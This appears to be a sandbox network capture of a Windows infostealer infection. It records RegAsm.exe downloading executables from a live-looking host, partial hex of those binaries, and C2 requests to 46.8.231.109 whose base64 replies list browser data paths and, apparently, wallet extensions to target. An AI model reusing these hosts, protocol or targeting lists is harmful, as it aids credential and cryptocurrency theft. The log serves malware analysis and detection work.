Sep 30, 2024 12:22:48.657356024 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:22:48.663691044 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="mode"6------JJJJEBGDAFHJEBGDGIJD--
Sep 30, 2024 12:22:49.224359989 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	52535	147.45.44.104	80	7376	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:22:43.666193008 CEST	98	OUT	GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 12:22:44.287594080 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:44 GMT Content-Type: application/octet-stream Content-Length: 380456 Last-Modified: Mon, 30 Sep 2024 04:37:24 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2b04-5ce28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL/(fN @ `K(& H.textT `.rsrc@@.reloc@B0H@X15QTw{v^"S0ZoX\|oASDnEe5_0EA;$3Z!h;%r;GuR$'9V7O?C:\|,`2vq2tX/g=^n(?%NgQ%%Iro0Hf.w+^ci/'FFREt+v7Sg3}(H)u!_5Ybtj#*Jz^xiHxT
Sep 30, 2024 12:22:44.287648916 CEST	224	IN	Data Raw: 56 06 46 9c 63 7e bd 10 68 e2 fe 35 d2 c4 85 cd 3b cf 05 4e f4 a7 55 08 a4 66 f8 b9 b0 38 63 07 3f b2 ce f8 4b 1f 63 61 7d 78 9a ba 35 f4 8d 55 79 7b 6e b7 4a b0 ed 5e e0 a4 9d 10 f1 33 68 a7 8a bc 25 a0 7c 03 ca e8 ed 34 a6 72 be 7e 7c b3 7d 3e Data Ascii: VFc~h5;NUf8c?Kca}x5Uy{nJ^3h%\|4r~\|}>\|&sP!xKcv1S>yM6$%~l}$%)WpMFCz$x_F`92ALnI0W2zwIjh,&%oR
Sep 30, 2024 12:22:44.287688971 CEST	1236	IN	Data Raw: dd 5d 67 11 d5 db df 9e 9d 9c 27 c5 b0 dd 40 be c5 a6 90 27 19 ee 86 ba 7e 2d 61 c0 1d 4c f9 67 36 87 e2 b8 6e 83 6a 3d 62 68 91 6e d8 bb 9f 7d 4d fd 78 b2 d3 f2 b9 08 52 15 5e 41 2b ff 87 77 fc b8 b4 c1 a1 8f 70 9d 31 bd 87 84 34 a4 4e f8 31 aa Data Ascii: ]g'@'~-aLg6nj=bhn}MxR^A+wp14N1HmBFV&K3`edNpix;Qs.Dri2*T]ZJj (:Y)Iqr.f(Mc/lui+$>uz0OEy
Sep 30, 2024 12:22:44.287744045 CEST	1236	IN	Data Raw: 3d 62 b9 bd 67 c5 bb 59 c0 ed 76 c9 18 c2 4f 59 19 72 35 f3 8c 99 83 a5 c3 1e 78 43 f3 c5 1c b1 ed 84 66 a6 99 33 39 3d c6 99 31 45 31 7f 18 3e ca e4 e4 c2 1c db 2d 73 e8 55 41 73 f2 7d 49 fe bd 2b 36 7a fc cb 6a c0 95 76 af da cc 1e 5b a7 3b 3e Data Ascii: =bgYvOYr5xCf39=1E1>-sUAs}I+6zjv[;>oH\|:{62bWDare]::k3m)QgvG9igM2ht'^P l+R\|j\|:ynCaDT1k[6E>a
Sep 30, 2024 12:22:44.287777901 CEST	1236	IN	Data Raw: 08 27 c2 e4 13 9c fa b3 42 b2 7b 92 54 d8 78 f9 8d 5d c2 db 8e 60 ed f7 3c f9 53 7c 22 78 8a 18 43 31 05 c1 74 29 bd 78 27 bd 88 05 d0 75 60 51 9a dd de 26 2d 85 0a d0 e3 35 c8 af dd 51 12 58 38 1f 68 0d 7c 2d bb 59 03 8d 40 67 95 1f 7e e1 8e 9b Data Ascii: 'B{Tx]`<S\|"xC1t)x'u`Q&-5QX8h\|-Y@g~qKD/JPI~wGem3Hy:$];KV^Z#\|Gf;:)WtI,,18KTY^1qc\|y@?mx7T6:S9BmRq)U#
Sep 30, 2024 12:22:44.287813902 CEST	672	IN	Data Raw: 7a c8 7a 1e 11 c5 5d 16 b6 83 92 41 85 2d 0b 55 46 bf d9 1e d4 87 e0 fa fc 7c ea 40 04 e2 18 34 17 e2 cc ce 46 cb 63 2c 7f 63 b0 2c 82 2e 49 44 f0 d2 28 39 d9 51 2b 98 d3 e9 e3 a0 ac 91 e1 5c 58 1b b7 26 36 2b 7e 3b 15 f1 62 4c 25 4a e0 c4 ea 14 Data Ascii: zz]A-UF\|@4Fc,c,.ID(9Q+\X&6+~;bL%J_dKtj'e&o'Jq<(6dkA ??_!^'a$D:jnrKPu~Vd/#K#&3Xh,?idzSc\|kEb<pL_d
Sep 30, 2024 12:22:44.287848949 CEST	1236	IN	Data Raw: 4f f6 37 38 40 19 76 1f a2 d7 c2 3a 05 be a2 73 e2 74 6b 4c b4 64 b1 0b 70 df 87 f2 28 7e b7 64 73 fb de cb a8 1b c9 3b f9 aa db 13 9b f3 c7 25 83 d7 17 26 e1 3c 03 69 e9 dd 48 9b 40 b7 c7 d4 b3 19 c2 03 be b9 de 59 70 19 6c b8 61 89 a8 d6 86 88 Data Ascii: O78@v:stkLdp(~ds;%&<iH@Ypla<^@Q\|cC7@j5cZ2Z' >JC)v~UwGY8hzG3?c!1Q3<Dt6E\|H*Ni-\'bHC{"$c+m%
Sep 30, 2024 12:22:44.287883997 CEST	1236	IN	Data Raw: 33 c4 26 46 1e 73 3c 44 57 6d 8a ad 8f 6d c4 72 ec 96 3b 0d 89 16 5c 41 f0 3f 3a ab 8a d1 c0 19 9c bf 0b 52 47 fb 18 36 08 a8 29 98 e0 3d 53 bf 94 cf 22 c7 9d ac 87 2d 43 91 2c c0 58 df a0 2b dc b6 53 f0 32 11 78 e2 77 4c 1f ce ad 9c 10 6f 0b ab Data Ascii: 3&Fs<DWmmr;\A?:RG6)=S"-C,X+S2xwLo")\D^Sk\76j(}j64L%<uR2l"=/?8"83[9CPk! H"p+ARLL'dF'=dV7Wzk-X
Sep 30, 2024 12:22:44.287919044 CEST	1236	IN	Data Raw: a8 38 bc 12 e4 7b 0e 1b 84 2f 31 47 d0 e3 12 ad f8 0d 46 29 05 08 0f 54 a9 81 66 f0 76 b9 da c5 4c 46 20 9b 59 b5 58 36 35 09 75 bb 5d d6 43 f5 97 a5 df 66 b9 7f 7f bc d5 ff 8d 5e a7 d2 ef 9b 5e c6 55 91 52 f6 bb 27 db 92 a9 f6 90 19 35 e3 9d 2f Data Ascii: 8{/1GF)TfvLF YX65u]Cf^^UR'5/k!HpQ>P{zA;.PN}] pJ3fcB E=Ti#49)1$~x9SCL[rHC~I-W&?o
Sep 30, 2024 12:22:44.287957907 CEST	1236	IN	Data Raw: a5 e6 dd 39 cd 6e df 3e b9 8e 0b f2 5b 1f af 55 2d a3 4c e5 fe 6c 46 46 ec 69 3e a5 c5 76 4f e1 ea 3b ee 10 6d 90 89 dc 8a 30 e8 fa b5 f1 73 63 d2 68 ef 26 fe e2 b3 d0 57 a4 49 be ec 6d b6 82 bf d9 7f d4 4c 5a e7 d8 9a cf da 0f 1a 4f a4 63 8a 9b Data Ascii: 9n>[U-LlFFi>vO;m0sch&WImLZOcA~8Z;&KhZ.;/(t:;[1??wxLlT&~2.s``$`N''GV]$S'9m`yaW)FAGLgD0<-35*I~Gt
Sep 30, 2024 12:22:44.292840004 CEST	1236	IN	Data Raw: de 14 7b 7b e4 92 77 b0 bd 72 f0 b0 7b ac 68 c2 6c 36 24 b8 b1 14 7d b7 ec bc 28 f9 31 b7 17 13 ef a8 27 e0 88 45 11 15 e8 95 f7 26 e6 59 c3 79 95 3d 81 90 8f 08 82 cc 86 28 6b 4f 1a a3 79 43 4c 06 b3 a6 55 8e a0 9c 01 56 67 ed 4f df e1 f2 04 4e Data Ascii: {{wr{hl6$}(1'E&Yy=(kOyCLUVgON7X^[lf- Q1z<<;u[J*O{]AZaX}_pQZz@2i5,z"qi$_\|QpH=$QI])FEgVc
Sep 30, 2024 12:22:45.802109003 CEST	98	OUT	GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 12:22:46.001303911 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:45 GMT Content-Type: application/octet-stream Content-Length: 414248 Last-Modified: Mon, 30 Sep 2024 04:37:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2afc-65228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL\(f"N@ `@ `@K`,(&> H.textT " `.rsrc`$@@.reloc@B0@H.;8`wrb CGA~zxFc@Qe88$aN!Q4f\dae94^Q8fvwWwHkQ,3A$#P)Sob+gY\o5m)2t5C&z7-Dq!oW2Fn;~9.q4lVOplm}':E/%2_g=7m0^hcz$cs?`t6@BM.
Sep 30, 2024 12:22:47.368073940 CEST	97	OUT	GET /ldms/66fa2ae906657_snd.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 12:22:47.552284002 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:47 GMT Content-Type: application/octet-stream Content-Length: 334376 Last-Modified: Mon, 30 Sep 2024 04:36:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2ae9-51a28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ea 04 00 00 08 00 00 00 00 00 00 4e 08 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 08 05 00 4b 00 00 00 00 20 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 f4 04 00 28 26 00 00 00 40 05 00 0c 00 00 00 c8 06 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?(fN @ ``K (&@ H.textT `.rsrc @@.reloc@@B0HtLq-~SI9R{dlo53 BLf5b#8Fxiuue+(uyq~8}#xRNJ_l~20,ZE#iwH*DFc/\|wo2J<A(fRnJJ5:uHb($GGxx!J,i48\G"[xdY<v~<]V<gXF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	52540	46.8.231.109	80	8148	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:22:48.443671942 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:49.068365097 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:22:49.070812941 CEST	412	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBAKJDBKJJKFIDBGHC Host: 46.8.231.109 Content-Length: 213 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 2d 2d 0d 0a Data Ascii: ------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="build"default------FCFBAKJDBKJJKFIDBGHC--
Sep 30, 2024 12:22:49.334894896 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 44 68 6b 5a 6a 64 6b 4f 54 51 30 4e 47 45 79 4e 44 4a 69 59 32 4d 35 59 54 4d 32 4d 57 52 69 59 57 56 6d 5a 57 59 34 4e 6a 6c 69 5a 57 56 6b 59 32 51 77 4d 54 49 77 59 32 52 69 4d 6a 42 6a 4f 54 6b 32 5a 44 67 32 4f 44 45 7a 59 32 51 32 4f 47 49 79 4d 32 49 7a 5a 6a 4a 6a 59 32 5a 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MDhkZjdkOTQ0NGEyNDJiY2M5YTM2MWRiYWVmZWY4NjliZWVkY2QwMTIwY2RiMjBjOTk2ZDg2ODEzY2Q2OGIyM2IzZjJjY2ZhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 30, 2024 12:22:49.351855040 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDB Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 42 47 44 47 48 49 49 4a 4a 4b 45 42 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------KEBFBGDGHIIJJKEBKJDBContent-Disposition: form-data; name="message"browsers------KEBFBGDGHIIJJKEBKJDB--
Sep 30, 2024 12:22:49.533274889 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 30, 2024 12:22:49.533297062 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 30, 2024 12:22:49.537540913 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 64 66 37 64 39 34 34 34 61 32 34 32 62 63 63 39 61 33 36 31 64 62 61 65 66 65 66 38 36 39 62 65 65 64 63 64 30 31 32 30 63 64 62 32 30 63 39 39 36 64 38 36 38 31 33 63 64 36 38 62 32 33 62 33 66 32 63 63 66 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"08df7d9444a242bcc9a361dbaefef869beedcd0120cdb20c996d86813cd68b23b3f2ccfa------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="message"plugins------GDGIJECGDGCBKECAKFBG--
Sep 30, 2024 12:22:49.718864918 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 